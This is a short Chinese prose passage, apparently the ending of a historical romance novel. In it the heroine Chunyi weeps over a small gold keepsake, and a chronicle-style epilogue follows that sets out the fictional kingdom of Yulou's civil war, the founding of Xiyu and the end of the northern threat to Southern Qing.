纯懿靠在陆双昂温暖熟悉的怀抱中,明明是安逸甚至快意的,可不知为何,眼泪却不自觉地流下,止不住一般,将她整张脸都打湿了。 晶莹的泪珠一滴一滴划过她挺翘的鼻尖、丰润的双唇,顺着纤细的脖颈流过锁骨,没入衣襟,最后落在安静躺在她胸膛之上的一块小金饼上。 那小金饼其实并不算厚,紧贴着她的肌肤,也没有多少重量,半是轻便半是故意,纯懿总是会遗忘它的存在。可现在,似乎是因着沾上了泪水的缘故,这小金饼变得潮湿粘腻,沉甸甸挂在她胸前,上面的简笔小像纹路宛转,似乎烙进了她的心底。 虞娄天兴十七年,虞娄平王薨,虞娄十二王妃、大庆嘉荣帝姬携幼子继王位,虞娄内乱,蒙庆联军趁乱起兵,直逼上京。二太子延陵宗隐弃城而逃,王太后徐氏及幼主死于乱军之中,七太子延陵宗覃阵前继位,力挽狂澜,逼退蒙庆联军,击杀延陵宗隐。 延陵宗隐残军远遁虞娄西北大漠,建立西余,奉延陵宗隐为开国帝王,宣布西余世代永不臣服于虞娄。此后数十年,西余与虞娄多有交战,虞娄再无力南侵。 南庆北患,自此平矣。